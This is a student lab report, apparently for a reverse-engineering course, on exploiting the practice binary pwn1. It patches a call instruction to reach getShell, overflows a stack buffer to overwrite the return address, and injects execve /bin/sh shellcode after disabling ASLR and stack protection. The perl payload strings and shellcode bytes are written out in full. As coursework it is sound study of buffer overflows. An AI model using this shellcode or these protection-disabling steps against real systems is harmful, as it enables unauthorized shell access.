Exp1 PC平台逆向破解(5)M
1.实验目的:
1.1能正确修改机器指令改变程序执行流程
1.2能正确修改机器指令改变程序执行流程
1.3能正确构造payload进行bof攻击
2.基础知识:
2.1NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
JNE：条件转移指令，如果不相等则跳转。（机器码：75）
JE：条件转移指令，如果相等则跳转。（机器码：74）
JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB） 段内直接近转移Jmp near（机器码：E9） 段内间接转移 Jmp word（机器码：FF） 段间直接(远)转移Jmp far（机器码：EA）
CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
3.实验内容:
3.1直接修改程序机器指令，改变程序执行流程
首先下载作业文件pwn1：
对其进行反汇编，找到其核心代码：
使用如下代码：
objdump -d pwn1 | more
-
先看第12行，"call 8048491 "是汇编指令
- 是说这条指令将调用位于地址8048491处的foo函数；
- 其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
- 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，
-
main函数调用foo，对应机器指令为“ e8 d7ffffff”，
- 那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
- 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。
-
下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。
root@KaliYL:~# cp pwn1 pwn20201224
root@KaliYL:~# vi pwn20201224
以下操作是在vi内
1.按ESC键
2.输入如下，将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
再次反汇编查看修改后call指令是否正确调用getShell：
objdump -d pwn20201224 | more
运行修改后的代码测试：
16进制编程器的使用：
apt-get install wxhexeditor
wxHexEditor
3.2通过构造输入参数，造成BOF攻击，改变程序执行流
1.安装gdb
2.确认输入字符串哪几个字符会覆盖到返回地址
如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。
3.确认用什么值来覆盖返回地址
getShell的内存地址，通过反汇编时可以看到，即0804847d。
接下来要确认下字节序，简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
对比之前 eip 0x34333231 0x34333231 ，根据小端优先原则，正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08。
4.构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。
输入“perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input”，使用16进制查看指令xxd查看input文件的内容是否如预期。
3.3注入Shellcode并执行
1.准备一段Shellcode
shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
2.安装prelink并修改配置
execstack -s pwn20201224 //设置堆栈可执行
execstack -q pwn20201224 //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
用more /proc/sys/kernel/randomize_va_space查看是否已关闭地址随机化，若返回0，则已关闭地址随机化
3.构造要注入的payload
Linux下有两种基本构造攻击buf的方法：
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
--
我们这个buf够放这个shellcode了
结构为：nops+shellcode+retaddr。
nop一为是了填充，二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。
输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
接下来我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf：(cat input_shellcode;cat) | ./pwn20201224
再开另外一个终端，用gdb来调试pwn1这个进程。
通过指令“ps -ef | grep pwn20201224"确定进程号为3149，然后开始gdb调试。
将1234位置的地址加上4字节（shellcode挨在缓冲
区的后面）即可得到shellcode的地址0xffffd500，所以将0xffffd500替换1234，便可令shellcode的地址覆盖ret返回地址，所以此处输入的shellcode应为：
perl -e 'print "A" x 32;print "\x00\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
4.遇到问题与解决
问题1：堆栈的不可执行
解决办法：重装prelink
问题2：使用gdb进行attach执行文件的进程号失败
解决办法：执行文件的时候直接回车了，应该执行文件之后不对文件进行操作，直接用另一个终端查看其进程号
5.实践总结与体会
本次实验让我对缓冲区溢出有了更深的了解。通过不断的查找资料，观看云班课教程学习视频，在不断的摸索下完成实验，提升了自己的实践能力，加强了对反汇编、通过构造输入参数，造成BOF攻击，改变程序执行流、构造payload进行bof攻击的学习理解。让我对溢出攻击有了更加深刻的理解，由于程序没有仔细检查用户输入的参数而造成程序被篡改，这可能会带来非常严重的后果。
